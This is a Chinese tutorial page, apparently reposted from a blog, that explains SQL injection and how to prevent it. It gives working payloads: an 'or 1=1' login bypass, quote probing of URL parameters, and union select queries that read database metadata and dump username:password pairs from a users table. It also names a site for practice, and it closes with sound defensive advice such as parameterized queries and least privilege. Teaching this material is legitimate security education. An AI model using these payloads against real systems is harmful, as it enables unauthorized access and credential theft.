SQL注入的实现以及防范示例详解
<h3>什么是sql注入</h3>
<p>
sql注入是指通过构建特殊的输入篡改原来的sql语句达到攻击者所需的操作。</p>
<h3>
sql 注入产生原因</h3>
<p>
我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 sql 查询请求,若验证通过就会执行 sql 语句。如果用户输入的数据被构造成恶意sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。</p>
<p>
<strong>登录案例讲解</strong></p>
<blockquote>
<p>
select * from admin where uname='用户名' and pwd='密码'</p>
</blockquote>
<p>
输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)</p>
<p>
这时sql语句变为:<code>select * from admin where uname='' or 1=1 # and pwd='密码'</code>,这时sql语句永远成立,绕过登录。</p>
<h3>
基于get方式的sql注入</h3>
<p>
通过在url中修改对应的id值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测url中是否有注入点。</p>
<p>
可登陆到mituan.zone进行测试</p>
<p>
1、' <code>'1'' limit 0,1</code> ' :多了一个单引号</p>
<p>
可猜测sql语句为:<code>select login_name,password from admin where id = 'id' limit 0,1</code></p>
<p>
2、' <code>' limit 0,1</code> ':多了一个单引号</p>
<p>
可猜测sql语句为:<code>select login_name,password from admin where id = id limit 0,1</code></p>
<p>
3、' <code>'1'') limit 0,1</code> ':多了一个单引号</p>
<p>
可猜测sql语句为:<code>select login_name,password from admin where id = ('id') limit 0,1</code></p>
<p>
4、单引号、括号都不报错说明被接收的是字符串类型' <code>"1"") limit 0,1</code> ':多了一个双引号</p>
<p>
可猜测sql语句为:<code>select login_name,password from admin where id = ("id") limit 0,1</code></p>
<p>
…</p>
<h3>
sql注入利用</h3>
<p>
1、利用order by判断字段数</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_508775">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">order</code> <code class="sql keyword">by</code> <code class="sql plain">n(n为猜测字段数)</code><code class="sql comments">--+</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
<p>
以案例一为例</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_203491">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">login_name,</code><code class="sql keyword">password</code> <code class="sql keyword">from</code> <code class="sql plain">admin </code><code class="sql keyword">where</code> <code class="sql plain">id = </code><code class="sql string">'id'</code> <code class="sql plain">limit 0,1</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql plain">用?id=1' </code><code class="sql keyword">order</code> <code class="sql keyword">by</code> <code class="sql plain">11</code><code class="sql comments">--+</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
<p>
猜测错误时则会报错</p>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/c560473599d5af71df965a0e64ffa067.jpg"></p>
<p>
此时探测到有3个字段,用<code>?id=0' union select 1,2,3--+</code>探测到login_name在第二列,password在第三列,则第二、三列可利用。</p>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/94182ca92bdbc6cdab55e573128a2271.jpg"></p>
<p>
将<code>?id=0' union select 1,2,3--+</code>2,3改为user():查看当前mysql登录用户名,database():查看当前使用mysql数据库名,version():查看当前mysql版本,如改为<code>?id=0'union select 1,user(),database()--+</code> 得到下图中信息</p>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/4027913c5a2bf4a43e2e0edceff3335f.jpg"></p>
<p>
2、利用union select 联合查询,获取表名。(在使用union select时要将前面的sql语句报错)</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_282554">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,group_concat(table_name),3 </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">where</code> <code class="sql plain">table_schema=</code><code class="sql keyword">database</code><code class="sql plain">()</code><code class="sql comments">--+</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/846f51bd647410aad2f994913df0cb9d.jpg"></p>
<p>
3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_681944">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,group_concat(column_name),3 </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.columns </code><code class="sql keyword">where</code> <code class="sql plain">table_name=</code><code class="sql string">'users'</code><code class="sql comments">--+</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/ed2947f9474618f946e532a4d5cd8895.jpg"></p>
<p>
4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_698603">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,group_concat(username,0x3a,</code><code class="sql keyword">password</code><code class="sql plain">),3 </code><code class="sql keyword">from</code> <code class="sql plain">users</code><code class="sql comments">--+ (0x3a为冒号,用来分隔不同字段的值)</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/be577ee6017d5adb2c12a65c9a5cb9dc.jpg"></p>
<p>
<strong>如果是地址栏不能显示信息的post形式则可以在对话框中输入注入语句</strong></p>
<p>
<img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/40eee495d33af8d5513488fda5ee68c1.jpg"><br><img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/15aaf5b6d69842ec044015689c38e2be.jpg"><br><img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/a552fb67b16559cfee340a6d8ba23520.jpg"><br><img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/1c965db2b7b590a90e0496fb4f7860b3.jpg"><br><img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/99c4a5544ede52c9191892b32937a9ba.jpg"><br><img title="SQL注入的实现以及防范示例详解" alt="SQL注入的实现以及防范示例详解" src="https://zhuji.jb51.net/uploads/img/202305/491b72409fe3cfd156cab9edc3c075d1.jpg"></p>
<p>
这里使用的方法和在地址栏中的输入一样,都是先报错前面的sql语句再使用union select联合查询拿出表中数据</p>
<h3>
sql 注入的防范方法</h3>
<ul>
<li>
对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。</li>
<li>
编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。</li>
<li>
不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。</li>
<li>
不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。</li>
<li>
程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。</li>
</ul>
<h3>
总结</h3>
<p>
到此这篇关于sql注入的实现以及防范的文章就介绍到这了,更多相关sql注入实现及防范内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!</p>
<p>
原文链接:https://blog.csdn.net/qq_44515800/article/details/117409504</p>
頁:
[1]